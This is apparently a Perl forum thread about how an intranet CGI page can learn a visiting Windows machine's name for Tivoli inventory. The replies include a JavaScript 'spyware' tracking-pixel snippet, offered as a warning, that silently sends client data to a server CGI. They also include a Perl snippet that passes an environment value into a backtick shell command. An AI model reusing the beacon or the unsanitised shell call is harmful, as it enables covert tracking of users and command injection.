Thank you all for the quick responses.

Let me provide a little bit more information:

This is a cgi page on my company's intranet. Therefore, the only machines that will access this page will be inside our firewall. Computers on the outside will not play any role. I am running reports with Tivoli on the machines who visit this page. This will help our support team make sure that those machines are a part of our Tivoli infrastructure.

This cgi page runs a report with Tivoli and does an inventory of a machine's software and submits it back to my AIX server. This page will also display the results. All of this is done by using the backticks to make a `UNIX` call, which is why I can't do this locally on the machine with a windows perl script. (hmmmmm, just thinking a little bit here--- Is it possible to have two perl scripts, one on the UNIX box and one on the Windows box and have the windows script submit its results to the UNIX script?)

The command in Tivoli needs the machines name or ip address. I know how to get the page to work by creating a form and manually entering the computername into a textbox and submitting, but there are ethical issues on why I cnnot do this.

You might try installing PerlScript (a VBScript and JScript-like client side language) on the client? Check ActiveState.

Then you just have to handle that field on the server side in your Perl script. Be sure to handle not getting any hostname if the user is going through anonymizer.com or has some other protection in place to prevent your javascript from running.

- - arden.

• You could create a form, with an input fileld of type hidden, then you assign any value you want to that input field through a javascript reference like this.form[0].fieldname.
Once the user submits the form, your CGI script can read the value of that variable through CGI.pm's param method.
• You could use javascript to put the machine's name into a cookie, then read the cookie when the machine makes another request.
• You could create an invisible frame, and make a request, invisible to the user as soon as you know the machine's name

Are you sure making a reverse DNS lookup of their IP number wouldn't be good enough for you?

It only displays my AIX servers name and IP address for REMOTE_USER not the client machine that is viewing the page. It would be greatly appreciated if someone could shed some light on my situation.

OK... let me get out my Acme® brand flashlight here. When I run a script that basically just dumps all the elements of the %ENV hash on my server here is a sanitized version of what I get back:

DOCUMENT_ROOT     /path/to/doc/root/www.mydomain.com
GATEWAY_INTERFACE     CGI/1.1
HTTP_ACCEPT     text/xml,application/xml,application/xhtml+xml,text/ht
+ml;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;
+q=0.2,*/*;q=0.1
HTTP_ACCEPT_CHARSET     ISO-8859-1,utf-8;q=0.7,*;q=0.7
HTTP_ACCEPT_ENCODING     gzip,deflate
HTTP_ACCEPT_LANGUAGE     en-us,en;q=0.5
HTTP_CONNECTION     keep-alive
HTTP_HOST     www.mydomain.com
HTTP_KEEP_ALIVE     300
HTTP_USER_AGENT     Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.2) 
+Gecko/20040301
PATH     /usr/local/bin:/usr/bin:/bin
QUERY_STRING     
REMOTE_ADDR     4.3.2.1
REMOTE_PORT     33161
REQUEST_METHOD     GET
REQUEST_URI     /cgi-bin/fooCheck.pl
SCRIPT_FILENAME     /usr/web/www.berghold.net/cgi-bin/fooCheck.pl
SCRIPT_NAME     /cgi-bin/fooCheck.pl
SERVER_ADDR     1.2.3.4
SERVER_ADMIN     webmaster@mydomain.com
SERVER_NAME     www.mydomain.com
SERVER_PORT     80
SERVER_PROTOCOL     HTTP/1.1
SERVER_SOFTWARE     Apache/1.3.29 (Unix) AuthMySQL/2.20 PHP/4.3.4 mod_
+perl/1.24 mod_ssl/2.8.16 OpenSSL/0.9.7c
UNIQUE_ID     QHMCUdiLkw8AAAVExU8
[download]

A quick glance reveals a value for REMOTE_ADDR which when I check the NAT'ed address for my client what I see there matches what I know my NAT'ed IP address to be.

AHA!

If you are interested here is a subset of the code that generated that output:

use CGI qw(:all);

print header,start_html;
env_test();
print end_html;

exit(0);
sub env_test {
  print h2('Base Account (shell) Environment');
  print table(
              map { Tr(td($_),td($ENV{$_})) } sort keys %ENV
             );
  print p(b('CGI Runs As:'),`id`);
  print p(b('Current working directory is:'),`pwd`);
  print p("I was invoked as: ",$0);
  if ($ENV{HOME}) {
    if (-d $ENV{HOME} . '/cgi-bin') {
      print p('Found the cgi-bin directory in ', $ENV{HOME} . "/cgi-bi
+n");
    } else {
      print p("I have no clue where the cgi-bin is physically");
    }
  } else {
    print p(b('OH DRAT!'),'The $HOME variable is not being set!');
  }
}
[download]

It is easy to do. It is also quite possibly illegal, immoral or fattening. *IT IS SPYWARE* While I agree with MUBA that their is little community benefit in telling you how to do it, the practice is so rife that even the most rudimentary research will make you aware of it.

This is presented as a warning on the evils of javascript.

All you need is for the javascript/vbscript being executed on the client side to phone home. The spyware way to do this is using an IMG tag, although there are other possibilities. A browser will GET the src from the image tag. Without asking the urer. This is what browsers do. This SRC can point to a CGI on your server just as easily as it can point to a real image. You can add this image tag and src dynamically. Put the parts together and what have you got - spyware.

<script>
var wanted_data = ....
var spyware_url = http://mydomain.com/cgi-bin/spyware.cgi?spyval=' + e
+scape(wanted_data);
document.write('<IMG src="' + spyware_url + '" width="1" height="1">')
+;
</script>
[download]

Now when that HTML loads it will get your spyware value, add it to the url of your spyware cgi, then write an image tag into the current doc which will cause the browser to issue a get request to your spyware with the data added to the query string. Your Perl CGI spyware on the server side parses off the q string, and then delivers a single pixel transparent gif to the browser. The client is then unaware you are spying on them -> *until they view source* and the simple action of loading the page triggers the event.

Personally I find the whole practice a nasty invasion of privacy and it's one of the reasons I don't let JS run unless I absolutely have to.

That said, another way of sending the information to your Perl script would be with a hidden image, whose URL would be something like "register_machine_name.cgi?name=whatever", where "whatever" is introduced by your client-side script.

# Environment variables aren't particularly safe.  
# Make sure you clean the address first

$address = $ENV{REMOTE_ADDRESS};
$name = `nmblookup -A $address`;

# parse $name for the information you actually want. 
# nmblookup returns a lot more information than just name
[download]

You simply don't know what you are talking about. Please learn more about the evils of javascript and sypware: Re: Using CGI (Perl) and javascript at the same time

cheers

tachyon

Net::NBName should work for you, without having to install Samba. It's a standalone NetBIOS Name lookup module. Also, the command to do a NetBIOS name lookup on Windows is nbtstat -A ip.ad.dr.ess. Hope this helps.

<html> 
<body> 
<script language="vbscript"> 
<!-- 
Set objNetwork = CreateObject("WScript.Network") 
document.write(objNetwork.computername) 
//--> 
</script> 
</body> 
</html>
[download]

jdporter - edited: added code tags

The vbscript code is gone with the html comment markers <!-- ... -->. Use a code tag to avoid that.